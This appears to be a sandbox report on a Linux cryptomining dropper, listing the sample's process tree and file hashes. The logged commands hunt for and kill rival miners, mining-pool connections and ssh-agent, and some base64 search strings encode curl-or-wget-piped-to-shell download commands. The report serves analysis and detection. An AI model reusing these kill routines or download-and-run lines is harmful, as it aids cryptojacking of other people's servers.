/bin/grepgrep wget2⤵PID:1554
-
-
/bin/grepgrep he.sh2⤵PID:1553
-
-
/bin/grepgrep -v grep2⤵PID:1552
-
-
/bin/psps aux2⤵PID:1551
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1562
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1561
-
-
/bin/grepgrep curl2⤵PID:1560
-
-
/bin/grepgrep he.sh2⤵PID:1559
-
-
/bin/grepgrep -v grep2⤵PID:1558
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1557
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1568
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1567
-
-
/bin/grepgrep wget2⤵PID:1566
-
-
/bin/grepgrep miner.sh2⤵PID:1565
-
-
/bin/grepgrep -v grep2⤵PID:1564
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1563
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1574
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1573
-
-
/bin/grepgrep curl2⤵PID:1572
-
-
/bin/grepgrep miner.sh2⤵PID:1571
-
-
/bin/grepgrep -v grep2⤵PID:1570
-
-
/bin/psps aux2⤵PID:1569
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1580
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1579
-
-
/bin/grepgrep wget2⤵PID:1578
-
-
/bin/grepgrep nullcrew2⤵PID:1577
-
-
/bin/grepgrep -v grep2⤵PID:1576
-
-
/bin/psps aux2⤵PID:1575
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1586
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1585
-
-
/bin/grepgrep curl2⤵PID:1584
-
-
/bin/grepgrep nullcrew2⤵PID:1583
-
-
/bin/grepgrep -v grep2⤵PID:1582
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1581
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1591
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1590
-
-
/bin/grepgrep 107.174.47.1562⤵PID:1589
-
-
/bin/grepgrep -v grep2⤵PID:1588
-
-
/bin/psps aux2⤵PID:1587
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1596
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1595
-
-
/bin/grepgrep 83.220.169.2472⤵PID:1594
-
-
/bin/grepgrep -v grep2⤵PID:1593
-
-
/bin/psps aux2⤵PID:1592
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1601
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1600
-
-
/bin/grepgrep 51.38.203.1462⤵PID:1599
-
-
/bin/grepgrep -v grep2⤵PID:1598
-
-
/bin/psps aux2⤵PID:1597
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1606
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1605
-
-
/bin/grepgrep 144.217.45.452⤵PID:1604
-
-
/bin/grepgrep -v grep2⤵PID:1603
-
-
/bin/psps aux2⤵PID:1602
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1611
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1610
-
-
/bin/grepgrep 107.174.47.1812⤵PID:1609
-
-
/bin/grepgrep -v grep2⤵PID:1608
-
-
/bin/psps aux2⤵PID:1607
-
-
/bin/psps aux2⤵PID:1612
-
-
/bin/grepgrep 176.31.6.162⤵PID:1614
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1615
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1616
-
-
/bin/grepgrep -v grep2⤵PID:1613
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1621
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1620
-
-
/bin/grepgrep mine.moneropool.com2⤵PID:1619
-
-
/bin/grepgrep -v grep2⤵PID:1618
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1617
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1626
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1625
-
-
/bin/grepgrep pool.t00ls.ru2⤵PID:1624
-
-
/bin/grepgrep -v grep2⤵PID:1623
-
-
/bin/psps auxf2⤵PID:1622
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1631
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1630
-
-
/bin/grepgrep xmr.crypto-pool.fr:80802⤵PID:1629
-
-
/bin/grepgrep -v grep2⤵PID:1628
-
-
/bin/psps auxf2⤵PID:1627
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1636
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1635
-
-
/bin/grepgrep xmr.crypto-pool.fr:33332⤵PID:1634
-
-
/bin/grepgrep -v grep2⤵PID:1633
-
-
/bin/psps auxf2⤵PID:1632
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1641
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1640
-
-
/bin/grepPID:1639
-
-
/bin/grepgrep -v grep2⤵PID:1638
-
-
/bin/psps auxf2⤵PID:1637
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1646
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1645
-
-
/bin/grepgrep monerohash.com2⤵PID:1644
-
-
/bin/grepgrep -v grep2⤵PID:1643
-
-
/bin/psps auxf2⤵PID:1642
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1651
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1650
-
-
/bin/grepgrep /tmp/a7b104c2702⤵PID:1649
-
-
/bin/grepgrep -v grep2⤵PID:1648
-
-
/bin/psps auxf2⤵PID:1647
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1656
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1655
-
-
/bin/grepgrep xmr.crypto-pool.fr:66662⤵PID:1654
-
-
/bin/grepgrep -v grep2⤵PID:1653
-
-
/bin/psps auxf2⤵PID:1652
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1661
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1660
-
-
/bin/grepgrep xmr.crypto-pool.fr:77772⤵PID:1659
-
-
/bin/grepgrep -v grep2⤵PID:1658
-
-
/bin/psps auxf2⤵PID:1657
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1666
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1665
-
-
/bin/grepgrep xmr.crypto-pool.fr:4432⤵PID:1664
-
-
/bin/grepgrep -v grep2⤵PID:1663
-
-
/bin/psps auxf2⤵PID:1662
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1671
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1670
-
-
/bin/grepgrep stratum.f2pool.com:88882⤵PID:1669
-
-
/bin/grepgrep -v grep2⤵PID:1668
-
-
/bin/psps auxf2⤵PID:1667
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1676
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1675
-
-
/bin/grepgrep xmrpool.eu2⤵PID:1674
-
-
/bin/grepgrep -v grep2⤵PID:1673
-
-
/bin/psps auxf2⤵PID:1672
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1680 -
/usr/local/sbin/killkill -9 16783⤵PID:1681
-
-
/usr/local/bin/killkill -9 16783⤵PID:1681
-
-
/usr/sbin/killkill -9 16783⤵PID:1681
-
-
/usr/bin/killkill -9 16783⤵PID:1681
-
-
/sbin/killkill -9 16783⤵PID:1681
-
-
/bin/killkill -9 16783⤵PID:1681
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1679
-
-
/bin/grepgrep xiaoyao2⤵PID:1678
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1677
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1684
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1685 -
/usr/local/sbin/killkill -9 16833⤵PID:1686
-
-
/usr/local/bin/killkill -9 16833⤵PID:1686
-
-
/usr/sbin/killkill -9 16833⤵PID:1686
-
-
/usr/bin/killkill -9 16833⤵PID:1686
-
-
/sbin/killkill -9 16833⤵PID:1686
-
-
/bin/killkill -9 16833⤵PID:1686
-
-
-
/bin/grepgrep xiaoxue2⤵PID:1683
-
-
/bin/psps auxf2⤵PID:1682
-
-
/bin/grepgrep 46.243.253.152⤵PID:1688
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1689
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1690
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1691
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1692
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1698
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1697
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1696
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1695
-
-
/bin/grepgrep 176.31.6.162⤵PID:1694
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1704
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1703
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1702
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1701
-
-
/bin/grepgrep 108.174.197.762⤵PID:1700
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1709
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1710
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1708
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1707
-
-
/bin/grepgrep 192.236.161.62⤵PID:1706
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1715
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1716
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1714
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1713
-
-
/bin/grepgrep 88.99.242.922⤵PID:1712
-
-
/bin/systemctlsystemctl stop c3pool_miner.service2⤵
- Enumerates kernel/hardware configuration
PID:1717
-
-
/usr/bin/pkillpkill -f pastebin2⤵PID:1718
-
-
/usr/bin/pkillpkill -f ssh-agent2⤵PID:1719
-
-
/usr/bin/pkillpkill -f 185.193.127.1152⤵
- Reads CPU attributes
PID:1720
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1722
-
-
/usr/bin/pgreppgrep -f monerohash2⤵PID:1721
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1724
-
-
/usr/bin/pgreppgrep -f L2Jpbi9iYXN2⤵PID:1723
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1726
-
-
/usr/bin/pgreppgrep -f xzpauectgr2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1725
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1728
-
-
/usr/bin/pgreppgrep -f slxfbkmxtd2⤵
- Reads runtime system information
PID:1727
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1730
-
-
/usr/bin/pgreppgrep -f mixtape2⤵PID:1729
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1732
-
-
/usr/bin/pgreppgrep -f addnj2⤵
- Reads runtime system information
PID:1731
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1734
-
-
/usr/bin/pgreppgrep -f 200.68.17.1962⤵PID:1733
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1736
-
-
/usr/bin/pgreppgrep -f IyEvYmluL3NoCgpzUG2⤵
- Reads CPU attributes
PID:1735
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1738
-
-
/usr/bin/pgreppgrep -f KHdnZXQgLXFPLSBodHRw2⤵PID:1737
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1740
-
-
/usr/bin/pgreppgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS32⤵PID:1739
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1742
-
-
/usr/bin/pgreppgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo2⤵PID:1741
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1744
-
-
/usr/bin/pgreppgrep -f mwyumwdbpq.conf2⤵PID:1743
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1746
-
-
/usr/bin/pgreppgrep -f honvbsasbf.conf2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1745
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1748
-
-
/usr/bin/pgreppgrep -f mqdsflm.cf2⤵
- Reads runtime system information
PID:1747
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1750
-
-
/usr/bin/pgreppgrep -f stratum2⤵PID:1749
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1752
-
-
/usr/bin/pgreppgrep -f lower.sh2⤵PID:1751
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1754
-
-
/usr/bin/pgreppgrep -f ./ppp2⤵
- Reads CPU attributes
PID:1753
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1756
-
-
/usr/bin/pgreppgrep -f cryptonight2⤵PID:1755
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1758
-
-
/usr/bin/pgreppgrep -f ./seervceaess2⤵PID:1757
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1760
-
-
/usr/bin/pgreppgrep -f ./servceaess2⤵
- Reads runtime system information
PID:1759
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1762
-
-
/usr/bin/pgreppgrep -f ./servceas2⤵PID:1761
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1764
-
-
/usr/bin/pgreppgrep -f ./servcesa2⤵PID:1763
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1766
-
-
/usr/bin/pgreppgrep -f ./vsp2⤵PID:1765
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1768
-
-
/usr/bin/pgreppgrep -f ./jvs2⤵
- Reads runtime system information
PID:1767
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1770
-
-
/usr/bin/pgreppgrep -f ./pvv2⤵PID:1769
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1772
-
-
/usr/bin/pgreppgrep -f ./vpp2⤵PID:1771
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1774
-
-
/usr/bin/pgreppgrep -f ./pces2⤵
- Reads CPU attributes
PID:1773
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1776
-
-
/usr/bin/pgreppgrep -f ./rspce2⤵
- Reads CPU attributes
PID:1775
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1778
-
-
/usr/bin/pgreppgrep -f ./haveged2⤵
- Reads runtime system information
PID:1777
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1780
-
-
/usr/bin/pgreppgrep -f ./jiba2⤵PID:1779
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1782
-
-
/usr/bin/pgreppgrep -f ./watchbog2⤵PID:1781
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1784
-
-
/usr/bin/pgreppgrep -f ./A7mA5gb2⤵PID:1783
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1786
-
-
/usr/bin/pgreppgrep -f kacpi_svc2⤵PID:1785
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1788
-
-
/usr/bin/pgreppgrep -f kswap_svc2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1787
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1790
-
-
/usr/bin/pgreppgrep -f kauditd_svc2⤵
- Reads CPU attributes
PID:1789
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1792
-
-
/usr/bin/pgreppgrep -f kpsmoused_svc2⤵
- Reads CPU attributes
PID:1791
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1794
-
-
/usr/bin/pgreppgrep -f kseriod_svc2⤵
- Reads CPU attributes
PID:1793
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1796
-
-
/usr/bin/pgreppgrep -f kthreadd_svc2⤵PID:1795
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1798
-
-
/usr/bin/pgreppgrep -f ksoftirqd_svc2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1797
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1800
-
-
/usr/bin/pgreppgrep -f kintegrityd_svc2⤵PID:1799
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1802
-
-
/usr/bin/pgreppgrep -f jawa2⤵PID:1801
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1804
-
-
/usr/bin/pgreppgrep -f oracle.jpg2⤵PID:1803
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1806
-
-
/usr/bin/pgreppgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN2⤵PID:1805
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1808
-
-
/usr/bin/pgreppgrep -f 188.209.49.542⤵PID:1807
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1810
-
-
/usr/bin/pgreppgrep -f 181.214.87.2412⤵PID:1809
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1812
-
-
/usr/bin/pgreppgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ2⤵PID:1811
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1814
-
-
/usr/bin/pgreppgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj2⤵
- Reads runtime system information
PID:1813
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1816
-
-
/usr/bin/pgreppgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK2⤵PID:1815
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1818
-
-
/usr/bin/pgreppgrep -f servim2⤵
- Reads CPU attributes
PID:1817
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1820
-
-
/usr/bin/pgreppgrep -f kblockd_svc2⤵PID:1819
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1822
-
-
/usr/bin/pgreppgrep -f native_svc2⤵PID:1821
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1824
-
-
/usr/bin/pgreppgrep -f ynn2⤵
- Reads CPU attributes
PID:1823
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1826
-
-
/usr/bin/pgreppgrep -f 65ccEJ72⤵
- Reads CPU attributes
- Reads runtime system information
PID:1825
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1828
-
-
/usr/bin/pgreppgrep -f jmxx2⤵PID:1827
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1830
-
-
/usr/bin/pgreppgrep -f 2Ne80nA2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1829
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1832
-
-
/usr/bin/pgreppgrep -f sysstats2⤵PID:1831
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1834
-
-
/usr/bin/pgreppgrep -f systemxlv2⤵PID:1833
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1836
-
-
/usr/bin/pgreppgrep -f watchbog2⤵PID:1835
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1838
-
-
/usr/bin/pgreppgrep -f OIcJi1m2⤵PID:1837
-
-
/usr/bin/pkillpkill -f biosetjenkins2⤵PID:1839
-
-
/usr/bin/pkillpkill -f Loopback2⤵PID:1840
-
-
/usr/bin/pkillpkill -f apaceha2⤵
- Reads runtime system information
PID:1841
-
-
/usr/bin/pkillpkill -f cryptonight2⤵PID:1842
-
-
/usr/bin/pkillpkill -f stratum2⤵PID:1843
-
-
/usr/bin/pkillpkill -f mixnerdx2⤵PID:1844
-
-
/usr/bin/pkillpkill -f performedl2⤵PID:1845
-
-
/usr/bin/pkillpkill -f JnKihGjn2⤵PID:1846
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5B
MD5727479ef7cedf30c03459bec7d87b0f0
SHA12082e7f715f058acab2398d25d135cf5f4c0ce41
SHA25629872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6
SHA5124cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba
-
Filesize
843B
MD5dbbca4ef124bd29c0ea39f2fd750936b
SHA1bd1ddd8669bb5058134852f203cc38d3ce643e3e
SHA256278935b95ed45f735c2331bfbade8a827de72515969ade2da2a77238e39584f1
SHA512b7479fda6faa27ada518abc36348b0e2f64f4d42b4f4e04343ff03d29a46af5277506eb9beff4b0797c7be149d1a9c11d0b229f0be917eab61e709c207e81e18
-
Filesize
1KB
MD552680ca848119f269148f9cdf60b9a8a
SHA15994dc824a5d6d29c61879da91760117b3c0b1e4
SHA256e1c4254f28d7ded5eeb46f27d10cfb9e86cf81924f65e0902a7c2f69c2c9ca8d
SHA512a9e319e961ac8afbbd2b07222dfae8d15eb7c29e3665e165d8d8a5f6027c3236d04da6d5761c0bfe6eb61089d0e331609c2d56508dfadc596829d68f0f3f8954
-
Filesize
175B
MD5d7418287a2c222851fe333d4e76a1828
SHA158e9024a1bbd5c2a9f0bdedefedbd2c95fad7f5a
SHA256aca028040fd35083bfef4ac56201f1af84e9c1077e0c3de02b2f724994e5d96e
SHA512251f89194bf1bb2c3aa079c4e0f1eded2bd68a1cb99756156da25b1e295c74c8a25c35beb38eb6cd45b0027d1ffd6084c017cd3a6f229bb100db298903c5a144
-
Filesize
246B
MD598815225701748c82163378ef454c378
SHA1337ec17cb079c89af8e1e27480321c690a6a9fdc
SHA256abffb25b46e7215c99bc75f3687c689e96be79ffc84b95dcfccb0baeb6580b4c
SHA512d02c926571ad0a67472b54541296b16ca15f9cfa67b15b82d8cc2c035be8c4fc3e71ca55d3577f20dc65aad16e1b8fc44344fefb6fdb68c3410aa452609a6c86
-
Filesize
246B
MD5cfd423f637e133c2e44c754c7287f249
SHA13e76f1f26dc8d863a03eac13e45b25aac26f2bf9
SHA256b030520d5afc8078218aeb23f395d7537774f5e804b1727b1b265c692fdc8ad5
SHA512c6bf4b0ce3da70aef9668ff248c171e893a7b28c0b40381476f215089612d00ec2ac46c2921a2d2be522c77bd5cd0ee9b3a9a2f295877f2b96a823418249dea0
-
Filesize
246B
MD55d2f03edebabead5f87e17d92f08dcaa
SHA1cea8d245ed5d5d49cbce8414ae8f4d01f09766ee
SHA256b07343f23ec6fa81f842d7d031ca39b7768af2aa8ebe5509d3fc910df5cc1149
SHA5123dcf5b0bba7d69bec5ef4e1da04009cf45c24c3d10941a607f82ea65a1a5ee2a5c2007714a2f6ec48c1cf9b22928284301992a5a6b8a77f220f1a9d588cde7e0
-
Filesize
246B
MD5175c7025be75b58d6c894ce5be25a523
SHA1cc2937eaba8dc44ce43390def1b37caee48b5bfa
SHA256f335cbdb28b85424780779df03b4dc3d396ed55a4d08099841ac042da0e9cf54
SHA51230679e0e553fbe1814d7f71b873ea8e52cc599ed54fac33199e8ed90a957148f06f9478e8fce23e743dcf65f96a1cfaf8cea396d916f3d0c92dac86985922bcb
-
Filesize
175B
MD5df2b76d56f06363abb0f74c7236638ae
SHA14260bf88d47ee0275ab874c7d75db963124089dc
SHA256660d5b22c97ab407d33d096564e83eb64cbab73cde331c2c4da109be64d02860
SHA512c0615f0f2ed493c56078f29905c2f1e7655494654f18f30d34adc9da1421e97e8854e1eb0b8f455d370f42929011d66516d2b9ae65861f59b46ed076787e53f1
-
Filesize
246B
MD5d46378e0ad24ce6f5f9077d019e07d4b
SHA139ea6e2178f4354f4238ead4e0892ea3ae1ed665
SHA25650077d7caa8e1671c82a2d9f9598d5aea6343ca2e1595682710aaca436be7bff
SHA512c6de40ccf618270269c0dfbc2fe1472a4417f02479b712d0e1b59c55046b071b849e1e8bc02713b949cc4353956e0488bd356cb609b3cf0eddd6a1358d363bea
-
Filesize
246B
MD57a6ee73e503e3ecaeedbbc6a44901752
SHA1e7c96988a20285f80fefea7b8d4a14d00058b150
SHA25639795acddca70459d924d2abf3d5a6b77e001a33599f13cdd08005b89c50375b
SHA5123ed2b4f2ad81682f736d0e6366be824c702b54016d549e2e7a548e25fb99bc7e3ca80fc75548b61bdf6de7c6f83409f87f8625bc4911864b1635b7aaf8437aa2
-
Filesize
246B
MD57ac323b1756e71ded0959ba8a20b949b
SHA1e478d76c762e096315392c33cd72ba72282a5854
SHA2561dfaffa23d9d29e8296cfba067b7ff1a3c5ab0c720efc9e27556372185b42b1d
SHA51230ebe4684b9da6ab01cde6a1c1fe158e6d13e98930ba1567b39f3e8177ca09cf083fa4f8bf9a43f03b6a138c615ae348b406f5a828c49d0bae0fd13ff08532db
-
Filesize
128B
MD5443bd23e735f8866caa9e3da225994f4
SHA17c8847de085dbfcd8ee798c8a11d4f74309ace2b
SHA256de0e9a638570c0edeb072dd789392d1753cd560ee5c76a8198dda1c4c09af601
SHA512d4d7f74ba7cec09ff25dc92f689ec27cadadfae4f6e5705d44ac48376c34cf8c4f981f03e522fa58483f762cb72ab1107b3276c6fde40f487511c42e65bcae31
-
Filesize
146B
MD517ad5f9070cd6f70a83ba5013ae877e0
SHA1fe17d992fadc6ebf0f7410aca072fa8699808957
SHA2568f2d472a5493d474b1e25bac87695a3f8d2111a66fe776355af3ff629a4aa549
SHA512a6662d15c62c7d7e4db5f390c98a5f16120766de2e29e03407faac7e1eb0c5072d852c346265ccefe4035cbe4f8d7b6023ead8e4a066358c028064829a3edb09
-
Filesize
34B
MD5d7d96d63d643a4ce3e408eba7dfcedc5
SHA1c53607f95c5c57beafc1d8266646797a035f76ea
SHA25621db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159
SHA512703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3
-
Filesize
915B
MD56cf8d6a8edc47d6023b73d7f9e8072bb
SHA1036a7aac5b6b7c4f290792bb5e87e508b4e31528
SHA256f32af42c79b4762b2a7a1a70c11ad4b0c8de46811b1690e7da65c72394896c39
SHA51224a7f4db0da327a3aad3af84a08da35344ee0e73742f49c5fb814d256bbd41b862319436826985fb70b269f75806ccb236c90af693d1795415cb2c69541f7f45
-
Filesize
288B
MD51e47363cbe24aa9b1b93fef2709a2ef5
SHA1fa2fa6499281e147f40b8638b0f9f05cc3e532b5
SHA2564935a403adb2c00a04af2a74ed3feb6dfe811e0c16bdd793c7a9bbde3e613070
SHA512273ab878d21cf60de786f6c252ab252ce03e18ed5247833d3c134b01e22b72d8aed1f6fc55d58469e5160ca725efd836410823bd82d7ed3101739f40dc34daf6
-
Filesize
89B
MD55b58a98232f7205f3d1388b3b00663c6
SHA1731cd85f03b28784ea029a1340264d515d2a551c
SHA2562cd90e85906684d8c32c8b5a41f447544505a945f24e4b5226775e6f9fdf44f6
SHA512b093f73fc1d690a371cdf0317b782a53df46e0c3978ea996a641241d3253e6ce558664712e47a9d777b73d19b834f230580e3c1047716db7e16106171d75ece3
-
Filesize
288B
MD5406cd119410d083fa49af3cb39852674
SHA11166ec044c98b93fcbf6991b7e82d76ef0f59669
SHA2565bdfdbcd863a8322606acdda13dadf5245bbc841fe98f1681c134ea33aa79942
SHA5125768816e689d649b16186d24c462e21885129c0759dbde863b03ed17b45079087717aaff694755bd88d5f3576d9217d49bbe48386aac8cf5d46079a6c6b94104
-
Filesize
89B
MD50476a8597f6b81b22001859e3c972050
